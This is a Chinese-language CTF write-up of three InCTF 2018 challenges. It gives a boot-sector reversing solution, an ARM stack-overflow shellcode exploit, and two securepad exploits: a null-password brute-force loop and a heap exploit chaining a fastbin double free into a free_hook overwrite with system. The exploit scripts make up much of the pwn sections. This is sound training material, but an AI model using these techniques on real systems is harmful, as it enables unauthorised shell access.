CTF Re&&Pwn

InCTF2018_load3r&&wARMup

2018-10-19  本文已影响26人  Kirin_say

不算难的几个题,不过其中一个设为群内题,还是写一下WP,毕竟自己挖的坑自己填

0x01 load3r

无法直接运行
猜测是类似网鼎第一场的Re
使用qemu运行程序:

qemu-system-i386 -drive format=raw,file=./boot_try.bin

程序是让我们输入flag并进行判断
IDA 16模式下载入
看到主要是两个函数:

sub_11b
sub_128

主要看一下sub_128(分析在注释里):

seg000:0128 sub_128         proc near               ; CODE XREF: seg000:0011↑p
seg000:0128                                         ; sub_128+1D↓j
seg000:0128                 mov     ah, 1
seg000:012A                 int     16h             ; KEYBOARD - CHECK BUFFER, DO NOT CLEAR
seg000:012A                                         ; Return: ZF clear if character in buffer
seg000:012A                                         ; AH = scan code, AL = character
seg000:012A                                         ; ZF set if no character in buffer
seg000:012C                 mov     ah, 0
seg000:012E                 int     16h             ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seg000:012E                                         ; Return: AH = scan code, AL = character
seg000:0130                 mov     ds:6Dh, al
seg000:0133                 mov     [bx+6Fh], al    ; 这里不是string整个读入,而是逐个接收键盘输入,因此要一次性输入正确字符串,否则依然不正确
seg000:0137                 cmp     byte ptr ds:6Dh, 0Dh;回车符
seg000:013C                 jz      short loc_147
seg000:013E                 inc     bx
seg000:013F                 mov     si, 6Dh ; 'm'
seg000:0142                 call    sub_11B      ;类似检验输入是否正常
seg000:0145                 jmp     short sub_128
seg000:0147 ; ---------------------------------------------------------------------------
seg000:0147
seg000:0147 loc_147:                                ; CODE XREF: sub_128+14↑j
seg000:0147                 mov     ah, 0Eh
seg000:0149                 mov     al, 0Ah
seg000:014B                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:014B                                         ; AL = character, BH = display page (alpha modes)
seg000:014B                                         ; BL = foreground color (graphics modes)
seg000:014D                 cmp     bx, 22h ; '"'
seg000:0150                 jz      short loc_154   ; 判断输入长度为0x22
seg000:0152                 jmp     short loc_184
seg000:0154 ; ---------------------------------------------------------------------------
seg000:0154
seg000:0154 loc_154:                                ; CODE XREF: sub_128+28↑j
seg000:0154                 mov     ax, 0
seg000:0157                 mov     bx, 0
seg000:015A                 mov     si, 6Fh ; 'o'   ; si=input_addr
seg000:015D
seg000:015D loc_15D:                                ; CODE XREF: sub_128+4A↓j
seg000:015D                                         ; sub_128+54↓j
seg000:015D                 mov     al, 31h ; '1'
seg000:015F                 cmp     [bx+0C9h], al   ; 以bx+0xc9处"0"和"1"字符串为key,逐位与1比较
seg000:0163                 jz      short loc_174
seg000:0165                 lodsb
seg000:0166                 shr     al, 1           ; 为1,则input[i]>>1
seg000:0168                 mov     [bx+0EEh], al
seg000:016C                 inc     bx
seg000:016D                 cmp     bx, 23h ; '#'
seg000:0170                 jz      short loc_1A8
seg000:0172                 jmp     short loc_15D
seg000:0174 ; ---------------------------------------------------------------------------
seg000:0174
seg000:0174 loc_174:                                ; CODE XREF: sub_128+3B↑j
seg000:0174                 lodsb
seg000:0175                 shl     al, 1           ; 为0,则input[i]<<1
seg000:0177                 mov     [bx+0EEh], al
seg000:017B                 inc     bx
seg000:017C                 jmp     short loc_15D
seg000:017E ; ---------------------------------------------------------------------------
seg000:017E                 mov     si, 0EEh
seg000:0181                 call    sub_11B
seg000:0184
seg000:0184 loc_184:                                ; CODE XREF: sub_128+2A↑j
seg000:0184                                         ; sub_128+A1↓j
seg000:0184                 mov     ah, 0Eh
seg000:0186                 mov     al, 0Dh
seg000:0188                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:0188                                         ; AL = character, BH = display page (alpha modes)
seg000:0188                                         ; BL = foreground color (graphics modes)
seg000:018A                 mov     si, 65h ; 'e'
seg000:018D                 call    sub_11B
seg000:0190                 jmp     short locret_1D3
seg000:0192 ; ---------------------------------------------------------------------------
seg000:0192
seg000:0192 loc_192:                                ; CODE XREF: sub_128+A6↓j
seg000:0192                 mov     ah, 0Eh
seg000:0194                 mov     al, 0Dh
seg000:0196                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:0196                                         ; AL = character, BH = display page (alpha modes)
seg000:0196                                         ; BL = foreground color (graphics modes)
seg000:0198                 mov     al, 0Dh
seg000:019A                 int     10h             ; - VIDEO -
seg000:019C                 mov     al, 0Ah
seg000:019E                 int     10h             ; - VIDEO -
seg000:01A0                 mov     si, 4Ch ; 'L'
seg000:01A3                 call    sub_11B
seg000:01A6                 jmp     short locret_1D3
seg000:01A8 ; ---------------------------------------------------------------------------
seg000:01A8
seg000:01A8 loc_1A8:                                ; CODE XREF: sub_128+48↑j
seg000:01A8                 mov     bx, 0
seg000:01AB                 mov     si, 0EEh        ; encode(input)_addr
seg000:01AE
seg000:01AE loc_1AE:                                ; CODE XREF: sub_128+94↓j
seg000:01AE                 lodsb
seg000:01AF                 cmp     al, 0
seg000:01B1                 jz      short loc_1BE
seg000:01B3                 mov     ah, 0Eh
seg000:01B5                 xor     al, 5           ; 经加密后的input每一位xor 5
seg000:01B7                 mov     [bx+9Ch], al
seg000:01BB                 inc     bx
seg000:01BC                 jmp     short loc_1AE
seg000:01BE ; ---------------------------------------------------------------------------
seg000:01BE
seg000:01BE loc_1BE:                                ; CODE XREF: sub_128+89↑j
seg000:01BE                 mov     bx, 21h ; '!'
seg000:01C1                 mov     si, 9Ch
seg000:01C4
seg000:01C4 loc_1C4:                                ; CODE XREF: sub_128+A9↓j
seg000:01C4                 lodsb
seg000:01C5                 cmp     al, [bx+27h]
seg000:01C9                 jnz     short loc_184
seg000:01CB                 cmp     bx, 0
seg000:01CE                 jz      short loc_192
seg000:01D0                 dec     bx              ; 逆序比较
seg000:01D1                 jmp     short loc_1C4
seg000:01D3 ; ---------------------------------------------------------------------------
seg000:01D3
seg000:01D3 locret_1D3:                             ; CODE XREF: sub_11B+5↑j
seg000:01D3                                         ; sub_128+68↑j ...
seg000:01D3                 retn
seg000:01D3 sub_128         endp

大致过程就是

接收输入
利用预先定义的一组"01"对字符串逐位移位处理
将上一步结果逐位xor 5
最终与预先定义的字符串逆序比较

提取数据脚本逆一下过程即可:

key=[
  0x77, 0x32, 0x67, 0x31, 0x6B, 0x53, 0x3C, 0x63, 0x37, 0x6D, 
  0x65, 0x33, 0x6B, 0x65, 0x65, 0x75, 0x53, 0x4D, 0x67, 0x31, 
  0x6B, 0x53, 0x6B, 0x25, 0x53, 0x65, 0x3C, 0x3D, 0x53, 0x33, 
  0x25, 0x2F, 0x65, 0x2F
]
key2=[
  0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x31, 0x31, 
  0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, 0x31, 0x31, 0x31, 
  0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31, 
  0x30, 0x31, 0x30, 0x31
 ]
ans=""
for i in range(34):
    if key2[33-i]==0x30:
        ans+=chr((key[i]^5)<<1)
    else:
        ans+=chr((key[i]^5)>>1)
print ans[::-1]

0x02 wARMup

载入IDA,可以看到是一个arm程序
给出了lib文件夹,且文件夹下:

ld-linux-armhf.so.3
libc.so.6

运行程序:

qemu-arm -L ./  ./wARMup
#-L dir 指向BIOS和VGA BIOS所在目录
result:
Welcome to bi0s CTF!
#接收输入

IDA看到main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [sp+4h] [bp-68h]

  alarm(0x1Eu);
  setvbuf((FILE *)_bss_start, 0, 2, 0);
  puts("Welcome to bi0s CTF!");
  read(0, &buf, 0x78u);
  return 0;
}

程序保护

    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

明显的栈溢出
不过这里只能溢出16字节
我们可以先迁移栈到一个已知且可写可执行的地址
而后复用main中的read,将shellcode写入此地址
再ret入shellcode即可
调试:

qemu-arm -g 1234 -L ./  ./wARMup
#localhost:1234
而后IDA连接gdb debugger即可远程调试
或者:
gdb-multiarch
set architecture arm
target remote localhost:1234

EXP:

from pwn import *

context.log_level = "debug"
elf = ELF("./wARMup")
libc = ELF("./lib/libc.so.6")
p = process(["qemu-arm", "-L", "./", "./wARMup"])
shellcode = asm(shellcraft.arm.linux.sh(),arch='arm')
stack_addr = elf.bss()+0x500
payload='a'*100+p32(stack_addr)+p32(0x00010364)+p32(stack_addr)+p32(0x10534)
p.recvuntil("!\n")
p.sendline(payload)
p.sendline(p32(stack_addr-0x4)+shellcode)
p.interactive()

0x03 securepad

解法一

   switch ( (unsigned int)off_12B8 )
    {
      case 0u:
        exit(0);
        return;
      case 1u:
        authenticate();
        add();
        break;
      case 2u:
        authenticate();
        edit();
        break;
      case 3u:
        authenticate();
        delete();
        break;
      case 4u:
        authenticate();
        view();
        break;
      default:
        puts("Invalid");
        break;
    }

每次操作都会调用authenticate()
而authenticate()中:

__int64 authenticate()
{
  size_t n; // ST08_8
  unsigned int v2; // [rsp+4h] [rbp-41Ch]
  char s1; // [rsp+10h] [rbp-410h]
  unsigned __int64 v4; // [rsp+418h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Enter password");
  get_inp(&s1, 1024);
  n = strlen(password);
  if ( !strncmp(&s1, password, n) )
    v2 = system("sh");
  else
    v2 = 0;
  return v2;
}

而password:

int init_password()
{
  int fd; // ST0C_4
  char *v1; // rax

  fd = open("/dev/urandom", 0);
  read(fd, password, 0x20uLL);
  v1 = (char *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
  table = (__int64)v1;
  sizes = (__int64)(v1 + 256);
  return close(fd);
}

利用/dev/urandom生成随机password
不过有一定概率password初始就为"\x00"
因此我们不断在判断password时输入0字节
当遇到初始为"\x00"的情况便可以成功利用authenticate()调用system("/bin/sh")
EXP:

from pwn import *

while True:
  p=process("./securepad")
  p.recvuntil(">>> ")
  p.sendline("1")
  p.recvuntil("password\n")
  p.sendline("")
  p.sendline("ls")
  if "size" not in p.recvuntil("\n"):
     p.interactive()
     break
  else:
     p.close()

解法二

delete处:

__int64 delete()
{
  void *ptr; // [rsp+10h] [rbp-20h]
  unsigned __int64 i; // [rsp+18h] [rbp-18h]
  __int64 v3; // [rsp+20h] [rbp-10h]

  puts("Enter index");
  v3 = (signed int)get_int("Enter index");
  for ( i = 0LL; i <= 9; ++i )
  {
    if ( i == v3 )
    {
      ptr = *(void **)(8 * i + table);
      break;
    }
  }
  if ( ptr )
  {
    free(ptr);
    *(_QWORD *)(8 * i + table) = 0LL;
  }
  return 0LL;
}

可以看到,当我们index大于10时
ptr并不是根据索引获取
而是利用栈上原本此处的数据
而此处,位于在调用delete前的authenticate函数的
我们input的password区域内
因此我们可以传入一个大于9的index
并在之前布置好栈空间,使ptr处为特定地址便可以将任意地址free

思路:

首先正常思路,使用fastbin来leak heap address
而后构造一个fake chunk利用delete的漏洞free进入unsorted bin
同样的思路利用分配的unsorted bin来leak libc
然后double free fastbin来将一个chunk分配到malloc hook或free hook前,覆盖其为system address或one gadget即可

EXP:

from pwn import *

context.log_level = 'debug'

def authenticate(password):
    p.recvuntil('Enter password\n')
    p.sendline(password)

def add(password, size, note):
    p.sendlineafter('>>> ', '1')
    authenticate(password)
    p.recvuntil('Enter size\n')
    p.sendline(str(size))
    p.sendafter('Enter data: ', note)

def edit(password, index, note):
    p.sendlineafter('>>> ', '2')
    authenticate(password)
    p.recvuntil('Enter index\n')
    p.sendline(str(index))
    p.send(note)

def delete(password, index):
    p.sendlineafter('>>> ', '3')
    authenticate(password)
    p.recvuntil('Enter index\n')
    p.sendline(str(index))

def view(password, index):
    p.sendlineafter('>>> ', '4')
    authenticate(password)
    p.recvuntil('Enter index\n')
    p.sendline(str(index))

p = process('./securepad')

#leak heap_addr
#0x21 0x21
add('kirin', 8, 'aaaa\n')
add('kirin', 8, 'aaaa\n')
delete('kirin', 0)
delete('kirin', 1)
add('kirin', 1, 'a')
view('kirin', 0)
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x61
print 'heap base: {}'.format(hex(heap_addr))

#fake_chunk
#note 1  2  3
#0x81->0x71->0x31
add('kirin', 0x70, p64(0) + p64(0xe1) + '\n')
add('kirin', 0x60, '\n')
add('kirin', 0x20, '\n')#avoid the fusion between fake_chunk and top_chunk

#leak libc
#note 4
#unsorted:0x70
#unsorted bin->0x70
delete('a' * 0x3f0 + p64(heap_addr+0x60)+'\n', 10)
add('kirin', 0x70-0x10, '\n')
view('kirin',2)
libc_addr = u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
print 'libc base: {}'.format(hex(libc_addr))
free_hook = libc_addr + 0x3c67a8
print 'free hook: {}'.format(hex(free_hook))
system_addr = libc_addr + 0x45390
print 'system: {}'.format(hex(system_addr))

#create 0x7f bypass the check of malloc
#note 5
#0x71
edit('kirin', 2, p64(0) + p64(free_hook - 0x28) + '\n')
add('kirin', 0x60, '\n')


#fastbin double free
#4->5->4
#0x70->0x70->0x70
delete('kirin', 4)
delete('kirin', 5)
#gdb.attach(p)
delete('a' * 0x3f0 + p64(heap_addr + 0x60), 10)

#chunk before free_hook
#5->4->free_hook-0x1b
add('kirin', 0x60, p64(free_hook-0x1b)+'\n')
#4->free_hook-0x1b
add('kirin', 0x60, '\n')
#free_hook-0x1b
add('kirin', 0x60, '\n')
#overwrite the free_hook by system_addr
add('kirin', 0x60, '\x00'*0xb+p64(system_addr)+'\n')
edit('kirin',2,'/bin/sh'+'\n')
delete('kirin',2)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读